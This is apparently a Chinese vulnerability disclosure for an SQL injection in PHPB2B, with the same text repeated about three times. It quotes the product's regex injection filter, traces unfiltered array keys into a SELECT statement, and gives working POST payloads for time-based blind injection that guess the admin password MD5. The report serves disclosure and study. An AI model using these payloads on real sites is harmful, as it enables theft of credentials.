### 简要描述: PHPB2B某处sql注入#2 ### 详细说明: PHPB2B某处sql注入 官网下载的最新版本 绕过全局防注入。 我们先看看全局防注入怎么写的。 以下是全局防注入用到的函数 ``` function pb_attack_filter($StrFiltKey,$StrFiltValue,$ArrFiltReq){ if(is_array($StrFiltValue)) { $StrFiltValue=@implode(",", $StrFiltValue); } if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){ echo $StrFiltValue; header_sent("Warning : Illegal operation!"); exit(); } } function pb_hack_check(){ $getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; $postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|ascii|load_file|substring|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; $_PG=array_merge($_GET,$_POST); foreach($_PG as $key=>$value){ pb_attack_filter($key,$value,$getfilter);...
### 简要描述: PHPB2B某处sql注入#2 ### 详细说明: PHPB2B某处sql注入 官网下载的最新版本 绕过全局防注入。 我们先看看全局防注入怎么写的。 以下是全局防注入用到的函数 ``` function pb_attack_filter($StrFiltKey,$StrFiltValue,$ArrFiltReq){ if(is_array($StrFiltValue)) { $StrFiltValue=@implode(",", $StrFiltValue); } if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){ echo $StrFiltValue; header_sent("Warning : Illegal operation!"); exit(); } } function pb_hack_check(){ $getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; $postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|ascii|load_file|substring|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; $_PG=array_merge($_GET,$_POST); foreach($_PG as $key=>$value){ pb_attack_filter($key,$value,$getfilter); pb_attack_filter($key,$value,$postfilter); } } ``` 其核心在于,对post和get传递过来的参数值进行了一次过滤 ``` foreach($_PG as $key=>$value){ pb_attack_filter($key,$value,$getfilter); pb_attack_filter($key,$value,$postfilter); } ``` 但是还是有不足的地方。 librabies/core/controllers/friendlink_controller.php 18-29行 ``` function add() { global $smarty; using( "message"); $pms = new Messages(); if (isset($_POST['do']) && !empty($_POST['friendlink'])) { pb_submit_check('friendlink'); $data = $_POST['friendlink']; $result = false; $data['status'] = 0; $data['created'] = $data['modified'] = $this->friendlink->timestamp; $result = $this->friendlink->save($data); ``` 传入参数friendlink并传入save函数中。 跟入save函数 只看关键行 ``` function save($posts, $action=null, $id=null, $tbname = null, $conditions = null, $if_check_word_ban = false) { $new_id = $result = false; $keys = array_keys($posts); $cols = implode($keys,","); $tbname = (is_null($tbname))? $this->getTable():trim($tbname); $this->table_name = $tbname; //Todo:2010.04.14, by steven if(!empty($id)){ $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'"; }elseif(!empty($posts[$this->primaryKey])){ $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$posts[$this->primaryKey]."'"; }else{ $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='-1'"; } ``` $id默认为空 所以最后拼接成的sql为 ``` $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'"; ``` $cols是怎么来的? ``` $keys = array_keys($posts); $cols = implode($keys,","); ``` 原来是取出了post传递过来的参数的键名数组,然后用,分割成字符串。而键名是不在全局sql注入过滤中的,于是产生了注入。 我们知道php是可以传递数组的,包括二维数组。于是很轻易的在此处构造出一个sql注入。 演示如下。 先访问 localhost/phpb2b/?do=friendlink 查看源代码。获取csrf的formhash 得到当前formhash=95a43736362e5dd0 访问 localhost/phpb2b/?do=friendlink&action=add post提交 ``` formhash=95a43736362e5dd0&do=1&friendlink[status%2Cmodified%2Ccreated%20from%20pb_wwd_friendlinks%20where%20if%281%3D1%2Csleep%281%29%2C0%29%23]=1 ``` 为了演示方便,我把sql语句打印出来了。 [<img src="https://images.seebug.org/upload/201501/06164004e4aa0c32f8aaea23094e3e75a8af0790.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/06164004e4aa0c32f8aaea23094e3e75a8af0790.png) 1=1成功延时 ``` SELECT status,modified,created from pb_wwd_friendlinks where if(1=1,sleep(1),0)#,status,modified,created FROM pb_wwd_friendlinks WHERE id='-1' ``` 1=2不延时 借此可以用来做一个延时注入。 比如要猜测管理员的MD5 ``` status,modified,created from pb_wwd_friendlinks where if((ascii(substr((select userpass from pb_wwd_members limit 1),1,1))>40),sleep(5),0)# ``` 延时成功,MD5密码的第一位ascii大于40 以此类推,可以猜解出管理员md5. ### 漏洞证明: PHPB2B某处sql注入 官网下载的最新版本 绕过全局防注入。 我们先看看全局防注入怎么写的。 以下是全局防注入用到的函数 ``` function pb_attack_filter($StrFiltKey,$StrFiltValue,$ArrFiltReq){ if(is_array($StrFiltValue)) { $StrFiltValue=@implode(",", $StrFiltValue); } if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){ echo $StrFiltValue; header_sent("Warning : Illegal operation!"); exit(); } } function pb_hack_check(){ $getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; $postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|ascii|load_file|substring|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; $_PG=array_merge($_GET,$_POST); foreach($_PG as $key=>$value){ pb_attack_filter($key,$value,$getfilter); pb_attack_filter($key,$value,$postfilter); } } ``` 其核心在于,对post和get传递过来的参数值进行了一次过滤 ``` foreach($_PG as $key=>$value){ pb_attack_filter($key,$value,$getfilter); pb_attack_filter($key,$value,$postfilter); } ``` 但是还是有不足的地方。 librabies/core/controllers/friendlink_controller.php 18-29行 ``` function add() { global $smarty; using( "message"); $pms = new Messages(); if (isset($_POST['do']) && !empty($_POST['friendlink'])) { pb_submit_check('friendlink'); $data = $_POST['friendlink']; $result = false; $data['status'] = 0; $data['created'] = $data['modified'] = $this->friendlink->timestamp; $result = $this->friendlink->save($data); ``` 传入参数friendlink并传入save函数中。 跟入save函数 只看关键行 ``` function save($posts, $action=null, $id=null, $tbname = null, $conditions = null, $if_check_word_ban = false) { $new_id = $result = false; $keys = array_keys($posts); $cols = implode($keys,","); $tbname = (is_null($tbname))? $this->getTable():trim($tbname); $this->table_name = $tbname; //Todo:2010.04.14, by steven if(!empty($id)){ $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'"; }elseif(!empty($posts[$this->primaryKey])){ $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$posts[$this->primaryKey]."'"; }else{ $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='-1'"; } ``` $id默认为空 所以最后拼接成的sql为 ``` $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'"; ``` $cols是怎么来的? ``` $keys = array_keys($posts); $cols = implode($keys,","); ``` 原来是取出了post传递过来的参数的键名数组,然后用,分割成字符串。而键名是不在全局sql注入过滤中的,于是产生了注入。 我们知道php是可以传递数组的,包括二维数组。于是很轻易的在此处构造出一个sql注入。 演示如下。 先访问 localhost/phpb2b/?do=friendlink 查看源代码。获取csrf的formhash 得到当前formhash=95a43736362e5dd0 访问 localhost/phpb2b/?do=friendlink&action=add post提交 ``` formhash=95a43736362e5dd0&do=1&friendlink[status%2Cmodified%2Ccreated%20from%20pb_wwd_friendlinks%20where%20if%281%3D1%2Csleep%281%29%2C0%29%23]=1 ``` 为了演示方便,我把sql语句打印出来了。 [<img src="https://images.seebug.org/upload/201501/06164004e4aa0c32f8aaea23094e3e75a8af0790.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/06164004e4aa0c32f8aaea23094e3e75a8af0790.png) 1=1成功延时 ``` SELECT status,modified,created from pb_wwd_friendlinks where if(1=1,sleep(1),0)#,status,modified,created FROM pb_wwd_friendlinks WHERE id='-1' ``` 1=2不延时 借此可以用来做一个延时注入。 比如要猜测管理员的MD5 ``` status,modified,created from pb_wwd_friendlinks where if((ascii(substr((select userpass from pb_wwd_members limit 1),1,1))>40),sleep(5),0)# ``` 延时成功,MD5密码的第一位ascii大于40 以此类推,可以猜解出管理员md5.